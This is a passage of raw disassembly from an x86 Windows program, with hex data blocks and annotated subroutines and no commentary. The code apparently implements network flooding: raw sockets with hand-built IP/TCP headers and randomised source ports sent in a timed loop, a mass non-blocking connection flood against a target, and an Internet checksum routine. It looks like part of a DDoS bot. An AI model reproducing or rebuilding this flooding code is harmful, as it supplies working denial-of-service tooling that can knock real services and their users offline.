[edx+esi+100h] push eax push esi call sub_412B08 add esp, 20h test eax, eax jnz short loc_412E8E push 1 pop eax loc_412E8E: ; CODE XREF: ___:00412E89j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_412E9D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+6721o dd 3BCEC81h, 56530000h, 5708458Bh, 0F08B686Ah, 44BD8D59h dd 6AFFFFFEh, 0FF685B01h, 6A000000h, 6AA5F303h, 9C988902h dd 0FF000001h, 4CAFF415h, 0FFF88300h, 75FC4589h, 815FF5Fh dd 50004CAFh, 0FC44858Dh, 1C68FFFFh, 5000435Ch, 8995E8h dd 83FF3300h, 7D390CC4h, 572075DCh, 0FC44858Dh, 75FFFFFFh dd 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh, 0FFFF6B5Ah dd 8D14C483h, 0FFFC4485h, 85E850FFh, 0FF000022h, 0E3E8C875h dd 59FFFF84h, 0E8905759h, 22BD0C8h, 6AF44D8Dh, 0FF335104h dd 5057026Ah, 0FFF45D89h, 4CAF5415h db 0, 83h word_412F4E dw 0FFF8h ; DATA XREF: ___:off_43A184o dd 15FF5D75h, 4CAF08h, 44858D50h, 68FFFFFCh, 435BECh, 891CE850h dd 0C4830000h, 0DC7D390Ch, 8D572075h, 0FFFC4485h, 0D875FFFFh dd 48858D50h, 50FFFFFFh, 0FE44B5FFh, 0E3E8FFFFh, 83FFFF6Ah dd 858D14C4h, 0FFFFFC44h, 220EE850h, 75FF0000h, 846CE8C8h dd 5959FFFFh, 0D052E857h, 8D90022Bh, 0FFFE4885h, 15FF50FFh dd 4CAFB4h, 75FFF883h, 44858D55h, 68FFFFFCh, 435BCCh, 88B4E850h dd 7D390000h, 755959DCh, 858D5720h, 0FFFFFC44h, 50D875FFh dd 0FF48858Dh, 0FF50FFFFh, 0FFFE44B5h, 6A7CE8FFh, 0C483FFFFh dd 44858D14h, 50FFFFFCh, 21A7E8h, 0C875FF00h, 0FF8405E8h dd 575959FFh, 0CFEAE890h, 106A022Bh, 57E4458Dh, 856EE850h dd 0C4830000h, 45C7660Ch, 570002E4h, 0AF7415FFh, 8966004Ch dd 858DE645h, 0FFFFFE48h, 0B415FF50h, 8B004CAFh, 4270A835h dd 0E8458900h, 0FF087D89h, 0F84589D6h, 452BD6FFh, 0B9D233F8h dd 3E8h, 453BF1F7h, 94870FD0h, 68000001h, 41Ch, 0DCE805C6h dd 0FF45004Ch, 4CAF7415h, 0D47D3900h, 0DCEAA366h, 8966004Ch dd 4CDCEC1Dh, 3D896600h, 4CDCEEh, 0DCF005C6h, 8880004Ch dd 4CDCF11Dh, 3D896600h, 4CDCF2h, 33E83074h, 8B000088h dd 8E3C1D8h, 8829E8h, 0C1D80300h, 1FE808E3h, 3000088h dd 8E3C1D8h, 8815E8h, 6AD80300h, 0F41D8901h, 5B004CDCh dd 0B5FF18EBh, 0FFFFFE44h, 0FF7B2AE8h, 0FF5059FFh, 4CAFB415h dd 0DCF4A300h, 458B004Ch, 0DCF8A3E8h, 0E3E8004Ch, 99000087h dd 100B9h, 88F9F700h, 4CDCFC15h, 87D0E800h, 0B9990000h dd 100h, 1588F9F7h, 4CDCFDh, 87BDE8h, 0F0B99900h, 68000000h dd 400h, 8966F9F7h, 4CDCFE3Dh, 1D896600h, 4CDD02h, 15896642h dd 4CDD00h, 8795E8h, 0FFB99900h, 0F7000000h, 46852F9h dd 0E8004CDDh, 8430h, 8D0CC483h, 106AE445h, 1C685750h dd 68000004h, 4CDCE8h, 0FFFC75FFh, 4CAFD815h, 0FFF88300h dd 45FF0874h, 0FECAE908h, 75FFFFFFh, 0C15FFFCh, 0FF004CB0h dd 4CAF0815h, 858D5000h, 0FFFFFE48h, 500875FFh, 435B8468h dd 44858D00h, 68FFFFFCh, 200h, 87C6E850h, 0C4830000h, 0DC7D3918h dd 8D572075h, 0FFFC4485h, 0D875FFFFh, 48858D50h, 50FFFFFFh dd 0FE44B5FFh, 93E8FFFFh, 83FFFF68h, 858D14C4h, 0FFFFFC44h dd 1FBEE850h, 75FF0000h, 821CE8C8h, 5959FFFFh, 0CE02E857h dd 0FF90022Bh, 15FFFC75h, 4CB00Ch, 3308458Bh, 3CC06BD2h dd 0E8C1C88Bh, 0D075F70Ah, 5114E9C1h, 48858D50h, 0FFFFFFFEh dd 8D500875h, 0FFFEC885h, 858D50FFh, 0FFFFFC44h, 435B3868h dd 47E85000h, 83000086h, 7D391CC4h, 572075DCh, 0FC44858Dh dd 75FFFFFFh, 858D50D8h, 0FFFFFF48h, 44B5FF50h, 0E8FFFFFEh dd 0FFFF680Eh, 8D14C483h, 0FFFC4485h, 39E850FFh, 0FF00001Fh dd 97E8C875h, 59FFFF81h, 0E8905759h, 22BCD7Ch dword_413284 dd 0B8EC8B55h, 10320h, 888FE8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+550Fo dd 0FEBCBD8Dh, 0A5F3FFFFh, 895F016Ah, 120B8h, 0FC15FF00h dd 89004CAEh, 858D0845h, 0FFFFFF40h, 0B415FF50h, 8B004CAFh dd 33DB33F0h, 0FFFE83C0h, 858D1175h, 0FFFFFF40h, 0F815FF50h dd 3B004CAFh, 830674C3h, 75FF087Dh, 40858D5Dh, 50FFFFFFh dd 0FCBC858Dh, 7468FFFFh, 5000435Ch, 8589E8h, 0CC48300h dd 75D85D39h, 858D5320h, 0FFFFFCBCh, 50D475FFh, 0FEC0858Dh dd 0FF50FFFFh, 0FFFEBCB5h, 6750E8FFh, 0C483FFFFh, 0BC858D14h dd 50FFFFFCh, 1E7BE8h, 0D075FF00h, 0FF80D9E8h, 575959FFh dd 0CCBEE890h, 0C33B022Bh, 408B0C74h, 8B008B0Ch, 0FC458900h dd 758903EBh, 8D1C6AFCh, 5053E045h, 822FE8h, 0E84D8300h dd 0FFDCB8FFh, 0C4830000h, 0C445390Ch, 4589037Eh, 0C87D39C4h dd 7D89037Dh, 39F633C8h, 267EC05Dh, 8DC875FFh, 1C6AE045h dd 858D5350h, 0FFFEFCE0h, 50C475FFh, 0FFFC75FFh, 15FF0875h dd 4CAE8Ch, 0C0753B46h, 75FFDA7Ch, 2C15FF08h, 8D004CB0h dd 0FFFF4085h, 858D50FFh, 0FFFFFCBCh, 435C4868h, 0BBE85000h dd 83000084h, 5D390CC4h, 532075D8h, 0FCBC858Dh, 75FFFFFFh dd 858D50D4h, 0FFFFFEC0h, 0BCB5FF50h, 0E8FFFFFEh, 0FFFF6682h dd 8D14C483h, 0FFFCBC85h, 0ADE850FFh, 0FF00001Dh, 0BE8D075h dd 59FFFF80h, 0F1E85359h, 90022BCBh dword_413410 dd 0B8EC8B55h, 10310h, 8703E8h, 8458B00h, 6A575653h, 59F08B49h ; DATA XREF: sub_401ACD+575Bo dd 0FECCBD8Dh, 0A5F3FFFFh, 895E016Ah, 120B0h, 8EE89000h dd 500226D1h, 8493E8h, 116A5900h, 26A026Ah, 0AFF415FFh dd 0D88B004Ch, 106AFF33h, 57F0458Dh, 812EE850h, 0C4830000h dd 50858D0Ch, 66FFFFFFh, 2F045C7h, 15FF5000h, 4CAFB4h dd 89FFF883h, 75750845h, 0FF50858Dh, 0FF50FFFFh, 4CAFF815h dd 75C73B00h, 50858D5Dh, 50FFFFFFh, 0FCCC858Dh, 0C868FFFFh dd 5000435Ch, 83DDE8h, 0CC48300h, 75E87D39h, 858D5720h dd 0FFFFFCCCh, 50E475FFh, 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h dd 65A4E8FFh, 0C483FFFFh, 0CC858D14h, 50FFFFFCh, 1CCFE8h dd 0E075FF00h, 0FF7F2DE8h, 565959FFh, 0CB12E890h, 408B022Bh dd 0EB008B0Ch, 8458D03h, 7D39008Bh, 0F44589DCh, 0DBE81175h dd 99000083h, 0FFDCB9h, 42F9F700h, 0FF03EB52h, 15FFDC75h dd 4CAF74h, 66DC7539h, 7DF24589h, 0DC758903h, 0FFFFB8h dd 0DC453900h, 4589037Eh, 0D0458BDCh, 59990A6Ah, 7D39F9F7h dd 0D04589D8h, 75890375h, 39F633D8h, 1A7ED47Dh, 838DE8h dd 0FFB99900h, 0F7000000h, 753B46F9h, 359488D4h, 0FFFEFCEFh dd 458BE67Ch, 0D04DFFD0h, 557EC085h, 8D5E0B6Ah, 106AF045h dd 5FE85750h, 6A000083h, 0F759990Ah, 0D4458BF9h, 8D50C22Bh dd 0FEFCF085h, 0FF5350FFh, 4CAFD815h, 0D875FF00h, 0D9B1E890h dd 754E0224h, 0DC7D39CEh, 2FE8BC75h, 99000083h, 0FFDCB9h dd 42F9F700h, 7415FF52h, 66004CAFh, 0EBF24589h, 50858DA1h dd 50FFFFFFh, 0FCCC858Dh, 9C68FFFFh, 5000435Ch, 82A5E8h dd 0CC48300h, 75E87D39h, 858D5720h, 0FFFFFCCCh, 50E475FFh dd 0FED0858Dh, 0FF50FFFFh, 0FFFECCB5h, 646CE8FFh, 0C483FFFFh dd 0CC858D14h, 50FFFFFCh, 1B97E8h, 0E075FF00h, 0FF7DF5E8h dd 575959FFh, 0C9DAE890h db 2Bh, 2 word_413626 dw 8B55h ; DATA XREF: sub_401ACD+4DECo dd 14EC81ECh, 8B000004h, 57560845h, 85B9h, 8DF08B00h, 0FFFDECBDh dd 0C7A5F3FFh, 21080h, 100h, 0F0858D00h, 50FFFFFEh, 0FE70858Dh dd 8D50FFFFh, 0FFFDF085h, 20E850FFh, 83000001h, 8D500CC4h dd 0FFFBEC85h, 5CF068FFh, 0E8500043h, 820Ah, 0C483F633h dd 0F875390Ch, 8D562075h, 0FFFBEC85h, 0F475FFFFh, 70858D50h dd 50FFFFFFh, 0FDECB5FFh, 0CFE8FFFFh, 83FFFF63h, 858D14C4h dd 0FFFFFBECh, 1AFAE850h, 75FF0000h, 7D58E8F0h, 5959FFFFh dd 3DE89056h, 5F022BC9h ; --------------------------------------------------------------------------- pop esi ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4136C5 proc near ; CODE XREF: ___:004137AEp var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_41B590 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_4CAF74 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_413783 push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_413710: ; CODE XREF: sub_4136C5+B9j lea esi, [ebp+var_654] mov ebx, edi loc_413718: ; CODE XREF: sub_4136C5+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_41373B lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax nop call near ptr 71AB155Ah loc_41373B: ; CODE XREF: sub_4136C5+64j add esi, 4 dec ebx jnz short loc_413718 lea esi, [ebp+var_654] mov ebx, edi loc_413749: ; CODE XREF: sub_4136C5+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] nop call near ptr 71AB3E5Dh add esi, 4 dec ebx jnz short loc_413749 push 64h call near ptr 2660F57h nop lea esi, [ebp+var_654] mov ebx, edi loc_41376D: ; CODE XREF: sub_4136C5+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_41376D dec [ebp+arg_4] jnz short loc_413710 pop edi pop esi pop ebx loc_413783: ; CODE XREF: sub_4136C5+3Ej xor eax, eax leave retn sub_4136C5 endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov edi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov esi, eax push esi push ebx push edi call sub_4136C5 add esp, 18h test eax, eax jnz short loc_4137BD push 1 pop eax loc_4137BD: ; CODE XREF: ___:004137B8j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn ; --------------------------------------------------------------------------- dword_4137CC dd 81EC8B55h, 414ECh, 8458B00h, 85B95756h, 8B000000h, 0ECBD8DF0h ; DATA XREF: sub_401ACD+6449o dd 0F3FFFFFDh, 1080C7A5h, 1000002h, 8D000000h, 0FFFEF085h dd 858D50FFh, 0FFFFFE70h, 0F0858D50h, 50FFFFFDh, 310E8h dd 0CC48300h, 0EC858D50h, 68FFFFFBh, 435D1Ch, 8064E850h dd 0F6330000h, 390CC483h, 2075F875h, 0EC858D56h, 0FFFFFFFBh dd 8D50F475h, 0FFFF7085h, 0B5FF50FFh, 0FFFFFDECh, 0FF6229E8h dd 14C483FFh, 0FBEC858Dh, 0E850FFFFh, 1954h, 0E8F075FFh dd 0FFFF7BB2h, 90565959h, 2BC797E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41386B proc near ; CODE XREF: ___:00413B59p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_4CAEE4 test eax, eax jz short loc_4138AB xor eax, eax jmp loc_413B19 ; --------------------------------------------------------------------------- loc_4138AB: ; CODE XREF: sub_41386B+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_4CB018 cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_413B11 push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_4CAF54 cmp eax, 0FFFFFFFFh jz loc_413B07 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_41B590 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_4CAF74 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_4CAF74 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_4CAF74 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_4CAF74 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx nop call near ptr 2770000h lea eax, [ebp+var_8] push eax nop call near ptr 2760B1Bh push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_41D280 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_413996: ; CODE XREF: sub_41386B+25Dj ; sub_41386B+26Bj mov [ebp+var_24], bx call sub_41B8E2 cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_4CAF74 mov [ebp+var_34], ax call sub_41B8E2 mov edi, eax shl edi, 10h call sub_41B8E2 or edi, eax push edi call dword_4CAF74 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_4CAF70 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_4CAF74 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_41C310 lea eax, [ebp+var_B4] push 34h push eax call sub_40AC68 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_41C310 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_41B590 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AC68 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_41C310 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_4CAFD8 cmp eax, 0FFFFFFFFh jz short loc_413ADB add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax call near ptr 2760B1Bh nop mov eax, [ebp+var_4] cmp eax, esi jg short loc_413B04 jl loc_413996 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_413B04 jmp loc_413996 ; --------------------------------------------------------------------------- loc_413ADB: ; CODE XREF: sub_41386B+247j call dword_4CAF08 push eax lea eax, [ebp+var_F4] push offset dword_435D44 push eax call sub_41B886 lea eax, [ebp+var_F4] push eax call sub_4151AC add esp, 10h jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413B04: ; CODE XREF: sub_41386B+25Bj ; sub_41386B+269j mov ebx, [ebp+arg_8] loc_413B07: ; CODE XREF: sub_41386B+78j ; sub_41386B+297j push [ebp+var_C] call dword_4CB00C pop esi loc_413B11: ; CODE XREF: sub_41386B+5Bj call dword_4CAECC mov eax, ebx loc_413B19: ; CODE XREF: sub_41386B+3Bj pop edi pop ebx leave retn sub_41386B endp ; --------------------------------------------------------------------------- push ebx push esi push edi push dword ptr [esp+10h] call sub_40AAF9 push dword ptr [esp+18h] mov esi, eax call sub_41B779 push dword ptr [esp+20h] mov ebx, eax call sub_41B779 mov edi, eax call sub_41B8E2 cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_41386B add esp, 1Ch test eax, eax jnz short loc_413B68 push 1 pop eax loc_413B68: ; CODE XREF: ___:00413B63j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn ; --------------------------------------------------------------------------- byte_413B77 db 55h ; DATA XREF: sub_401ACD+6E44o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 0FFFFFE6Ch, 80C7A5F3h, 190h, 1, 0FEF0858Dh, 0E850FFFFh dd 7BD1h, 858D5059h, 0FFFFFE70h, 0B415FF50h, 50004CAFh dd 5DE8h, 50595900h, 0FC6C858Dh, 6468FFFFh, 5000435Dh dd 7CB5E8h, 83F63300h, 75390CC4h, 562075F8h, 0FC6C858Dh dd 75FFFFFFh, 858D50F4h, 0FFFFFF70h, 6CB5FF50h, 0E8FFFFFEh dd 0FFFF5E7Ah, 8D14C483h, 0FFFC6C85h, 0A5E850FFh, 0FF000015h dd 3E8F075h, 59FFFF78h, 0E8905659h, 22BC3E8h, 8B555E5Fh dd 98EC81ECh, 53000000h, 16A5756h, 78A58359h, 0FFFFFFh dd 6583046Ah, 0BB5E00A8h, 0FFh, 0C033066Ah, 0AC7D8D5Ah dd 0FF7C8D89h, 45C7FFFFh, 280h, 84758900h, 0C7885589h dd 88C45h, 45C70000h, 0C90h, 9445C700h, 11h, 169845C7h dd 0C7000000h, 299C45h, 45C70000h, 3AA0h, 0A45D8900h, 0ABB04589h dd 89D47D8Dh, 4589B445h, 0BC45C7B8h, 2000h, 89C07589h dd 45C7C455h, 3FFFC8h, 0CC4D8900h, 89D04589h, 0BFABD84Dh dd 100h, 930BE857h, 89590000h, 5057FC45h, 0AF8815FFh, 75FF004Ch dd 0F815FFFCh, 8B004CAFh, 6A530C40h, 8B026A03h, 89008B00h dd 15FFF445h, 4CAFF4h, 56D84D8Dh, 6A026A51h, 45895000h dd 5415FFFCh, 0BE004CAFh, 200h, 77D3E856h, 3D8B0000h, 4270A8h dd 0F8458959h, 4589D7FFh, 8458BF0h, 29A68h, 6C858900h dd 66FFFFFFh, 0FF6885C7h, 2FFFFh, 0AF7415FFh, 8966004Ch dd 0FFFF6A85h, 2BD7FFFFh, 0D233F045h, 3E8B9h, 3BF1F700h dd 870F0C45h, 0CFh, 7B91E8h, 0CB8B9900h, 458BF9F7h, 0FFFF25F4h dd 0E2C100FFh, 89D00B18h, 77E8F455h, 9900007Bh, 0F9F7CB8Bh dd 0E8AC5589h, 7B6Ah, 1FA4B999h, 45C60000h, 0F9F745DCh dd 4DD45C6h, 0E8D45589h, 7B52h, 0E0458966h, 7B49E8h, 990A6A00h dd 66F9F759h, 0B095448Bh, 7415FF50h, 56004CAFh, 0E2458966h dd 0AF7415FFh, 8966004Ch, 5D88DE45h, 7B20E8E4h, 0E6A0000h dd 0F9F75999h, 848A146Ah, 0FFFF7895h, 0E54588FFh, 89F4458Bh dd 458BE845h, 0EC458908h, 50DC458Dh, 0FF6E7FE8h, 458966FFh dd 0DC458DE6h, 0FF50146Ah, 15E8F875h, 83000085h, 858D14C4h dd 0FFFFFF68h, 6A50106Ah, 75FF5600h, 0FC75FFF8h, 0AFD815FFh dd 1AE9004Ch, 0FFFFFFFFh, 8EE8F875h, 59000072h, 0FFFC75FFh dd 4CB00C15h, 58016A00h, 0C95B5E5Fh ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- byte_413E35 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+53E8o dd 440EC81h, 458B0000h, 57565308h, 0F08B686Ah, 0C0BD8D59h dd 0F3FFFFFDh, 33016AA5h, 0BD8D5EDBh, 0FFFFFF61h, 0B0890E6Ah dd 19Ch, 88C03359h, 0FFFF609Dh, 66ABF3FFh, 3D8BAAABh, 4270A8h dd 0E850D7FFh, 7A58h, 0FF6859h, 36A0000h, 15FF026Ah, 4CAFF4h dd 89FFF883h, 6675FC45h, 0AF0815FFh, 8D50004Ch, 0FFFBC085h dd 5E7C68FFh, 0E8500043h, 79D6h, 390CC483h, 0FFFF589Dh dd 532375FFh, 0FBC0858Dh, 0B5FFFFFFh, 0FFFFFF54h, 0C4858D50h dd 50FFFFFEh, 0FDC0B5FFh, 97E8FFFFh, 83FFFF5Bh, 858D14C4h dd 0FFFFFBC0h, 12C2E850h, 0B5FF0000h, 0FFFFFF44h, 0FF751DE8h dd 535959FFh, 0C102E890h, 4D8D022Bh, 51046ACCh, 5053026Ah dd 0FFCC7589h, 4CAF5415h, 0FFF88300h, 15FF6675h, 4CAF08h dd 0C0858D50h, 68FFFFFBh, 435E44h, 7958E850h, 0C4830000h dd 589D390Ch, 75FFFFFFh, 858D5323h, 0FFFFFBC0h, 0FF54B5FFh dd 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh, 0FFFFFDC0h, 0FF5B19E8h dd 14C483FFh, 0FBC0858Dh, 0E850FFFFh, 1244h, 0FF44B5FFh dd 9FE8FFFFh, 59FFFF74h, 85E85359h, 90022BC0h, 0FDC4858Dh dd 0FF50FFFFh, 4CAFB415h, 0FFF88300h, 858D5E75h, 0FFFFFBC0h dd 435E2468h, 0E7E85000h, 39000078h, 0FFFF589Dh, 755959FFh dd 858D5323h, 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h dd 0B5FF50FFh, 0FFFFFDC0h, 0FF5AA9E8h, 14C483FFh, 0FBC0858Dh dd 0E850FFFFh, 11D4h, 0FF44B5FFh, 2FE8FFFFh, 59FFFF74h dd 0E8905359h, 22BC014h, 458D106Ah, 0E85053BCh, 7598h dd 660CC483h, 2BC45C7h, 15FF5300h, 4CAF74h, 0BE458966h dd 0FDC4858Dh, 0FF50FFFFh, 4CAFB415h, 0C0458900h, 0FF085D89h dd 0D04589D7h, 452BD7FFh, 0B9D233D0h, 3E8h, 853BF1F7h dd 0FFFFFF4Ch, 2AA870Fh, 286A0000h, 45D445C6h, 0AF7415FFh dd 9D39004Ch, 0FFFFFF50h, 0D6458966h, 0D8758966h, 0DA5D8966h dd 80DC45C6h, 6DD45C6h, 0DE5D8966h, 73E82D74h, 8B000078h dd 8E6C1F0h, 7869E8h, 0C1F00300h, 5FE808E6h, 3000078h dd 8E6C1F0h, 7855E8h, 6AF00300h, 0E0758901h, 0FF16EB5Eh dd 0FFFDC0B5h, 6B6DE8FFh, 5059FFFFh, 0AFB415FFh, 4589004Ch dd 0C0458BE0h, 0FF489D39h, 4589FFFFh, 0E81075E4h, 7822h dd 401B999h, 0F9F70000h, 0FF06EB52h, 0FFFF48B5h, 7415FFFFh dd 66004CAFh, 0E8EA4589h, 7802h, 401B999h, 0F9F70000h dd 7415FF52h, 68004CAFh, 12345678h, 0E8458966h, 0AF7015FFh dd 4589004Ch, 44858DECh, 68FFFFFEh, 42AB7Ch, 77EEE850h dd 85590000h, 97459C0h, 0C6F05D89h, 0EB02F545h, 44858D5Ch dd 68FFFFFEh, 42A9B8h, 77CEE850h, 85590000h, 97459C0h dd 0C6F05D89h, 0EB10F545h, 44858D3Ch, 68FFFFFEh, 42A9B0h dd 77AEE850h, 85590000h, 257459C0h, 7785E8h, 99036A00h dd 89F9F759h, 77E8F055h, 6A000077h, 0F7599902h, 1ADAF7F9h dd 0EE280D2h, 5588D102h, 20068F5h, 45C60000h, 15FF50F4h dd 4CAF74h, 0F6458966h, 89E0458Bh, 458B9C45h, 66146AE4h dd 66FA5D89h, 89F85D89h, 5D88A045h, 0A545C6A4h, 7415FF06h dd 66004CAFh, 8DA64589h, 206A9C45h, 60858D50h, 50FFFFFFh dd 8147E8h, 0E8458D00h, 8D50146Ah, 0E8508045h, 8138h, 0FF60858Dh dd 346AFFFFh, 6A82E850h, 8966FFFFh, 458DF845h, 50146AD4h dd 0FF60858Dh, 0E850FFFFh, 8114h, 6AE8458Dh, 858D5014h dd 0FFFFFF74h, 8102E850h, 46A0000h, 5388458Dh, 7376E850h dd 0C4830000h, 60858D44h, 6AFFFFFFh, 3DE85028h, 66FFFF6Ah dd 8DDE4589h, 146AD445h, 60858D50h, 50FFFFFFh, 80CFE8h dd 14C48300h, 6ABC458Dh, 8D535010h, 0FFFF6085h, 503C6AFFh dd 0FFFC75FFh, 4CAFD815h, 0FFF88300h, 45FF0874h, 0FDBAE908h dd 75FFFFFFh, 0C15FFFCh, 0FF004CB0h, 4CAF0815h, 858D5000h dd 0FFFFFDC4h, 500875FFh, 435DD468h, 0C0858D00h, 68FFFFFBh dd 200h, 76E6E850h, 0C4830000h, 589D3918h, 75FFFFFFh, 858D5323h dd 0FFFFFBC0h, 0FF54B5FFh, 8D50FFFFh, 0FFFEC485h, 0B5FF50FFh dd 0FFFFFDC0h, 0FF57ADE8h, 14C483FFh, 0FBC0858Dh, 0E850FFFFh dd 0ED8h, 0FF44B5FFh, 33E8FFFFh, 59FFFF71h, 0E8905359h dd 22BBD18h, 0FFFC75FFh, 4CB00C15h, 8458B00h, 0C06BD233h dd 0C1C88B3Ch, 0B5F70AE8h, 0FFFFFF4Ch, 5114E9C1h, 0C4858D50h dd 0FFFFFFFDh, 8D500875h, 0FFFE4485h, 858D50FFh, 0FFFFFBC0h dd 435D8468h, 5BE85000h, 83000075h, 9D391CC4h, 0FFFFFF58h dd 8D532375h, 0FFFBC085h, 54B5FFFFh, 50FFFFFFh, 0FEC4858Dh dd 0FF50FFFFh, 0FFFDC0B5h, 571CE8FFh, 0C483FFFFh, 0C0858D14h dd 50FFFFFBh, 0E47E8h, 44B5FF00h, 0E8FFFFFFh, 0FFFF70A2h dd 90535959h, 2BBC87E8h db 2 ; --------------------------------------------------------------------------- push ebp mov ebp, esp mov eax, [ebp+0Ch] mov edx, [ebp+8] push esi xor esi, esi cmp eax, 1 mov [ebp+0Ch], esi jle short loc_4143A5 mov ecx, eax push edi shr ecx, 1 lea edi, [ecx+ecx] sub eax, edi loc_414397: ; CODE XREF: ___:0041439Fj movzx edi, word ptr [edx] add esi, edi inc edx inc edx dec ecx jnz short loc_414397 pop edi cmp eax, 1 loc_4143A5: ; CODE XREF: ___:0041438Bj jnz short loc_4143B2 mov al, [edx] mov [ebp+0Ch], al movzx eax, word ptr [ebp+0Ch] add esi, eax loc_4143B2: ; CODE XREF: ___:loc_4143A5j mov ecx, esi and esi, 0FFFFh sar ecx, 10h add ecx, esi pop esi mov eax, ecx sar eax, 10h add eax, ecx not eax pop ebp retn ; --------------------------------------------------------------------------- byte_4143CB db 55h ; DATA XREF: sub_401ACD+6D49o dd 0EC81EC8Bh, 394h, 5608458Bh, 59656A57h, 0BD8DF08Bh dd 